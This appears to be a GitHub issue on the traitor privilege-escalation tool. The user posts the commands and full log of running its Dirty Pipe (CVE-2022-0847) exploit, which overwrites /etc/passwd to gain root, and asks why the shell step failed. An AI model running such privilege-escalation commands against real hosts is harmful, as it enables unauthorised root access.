Exploit failed: exec: "sh": executable file not found in $PATH
Author: sg552Created Sep 24, 2025Updated Sep 24, 2025
I found the host seems to be vulnarable:
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./traitor-amd64
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https://github.com/liamg/traitor
[+] Assessing machine state...
[+] Checking for opportunities...
[+][kernel:CVE-2022-0847] Kernel version 5.15.0 is vulnerable!
[+][kernel:CVE-2022-0847] System is vulnerable! Run again with '--exploit kernel:CVE-2022-0847' to exploit it.- how ever privledage escalation failed:
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./traitor-amd64 --exploit kernel:CVE-2022-0847
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░█░ █▀▄ █▀█ █ ░█░ █▄█ █▀▄ v0.0.14
https://github.com/liamg/traitor
[+] Assessing machine state...
[+] Checking for opportunities...
[+][kernel:CVE-2022-0847] Kernel version 5.15.0 is vulnerable!
[+][kernel:CVE-2022-0847] Opportunity found, trying to exploit it...
[+][kernel:CVE-2022-0847] Attempting to set root password...
[+][kernel:CVE-2022-0847] Opening '/etc/passwd' for read...
[+][kernel:CVE-2022-0847] Creating pipe...
[+][kernel:CVE-2022-0847] Determining pipe size...
[+][kernel:CVE-2022-0847] Pipe size is 65536.
[+][kernel:CVE-2022-0847] Filling pipe...
[+][kernel:CVE-2022-0847] Draining pipe...
[+][kernel:CVE-2022-0847] Pipe drained.
[+][kernel:CVE-2022-0847] Splicing data...
[+][kernel:CVE-2022-0847] Writing to dirty pipe...
[+][kernel:CVE-2022-0847] Write of '/etc/passwd' successful!
[+][kernel:CVE-2022-0847] Starting shell...
[+][kernel:CVE-2022-0847] Please exit the shell once you are finished to ensure the contents of /etc/passwd is restored.
[+][kernel:CVE-2022-0847] Setting up tty...
[+][kernel:CVE-2022-0847] Restoring contents of /etc/passwd...
[+][kernel:CVE-2022-0847] Opening '/etc/passwd' for read...
[+][kernel:CVE-2022-0847] Creating pipe...
[+][kernel:CVE-2022-0847] Determining pipe size...
[+][kernel:CVE-2022-0847] Pipe size is 65536.
[+][kernel:CVE-2022-0847] Filling pipe...
[+][kernel:CVE-2022-0847] Draining pipe...
[+][kernel:CVE-2022-0847] Pipe drained.
[+][kernel:CVE-2022-0847] Splicing data...
[+][kernel:CVE-2022-0847] Writing to dirty pipe...
[+][kernel:CVE-2022-0847] Write of '/etc/passwd' successful!
[+][error] Exploit failed: exec: "sh": executable file not found in $PATH
[+] Continuing to look for opportunities
[+] Nothing found to exploit.
which sh
/usr/bin/sh
why? is this host not vularable?
thanks
Source: liamg/traitor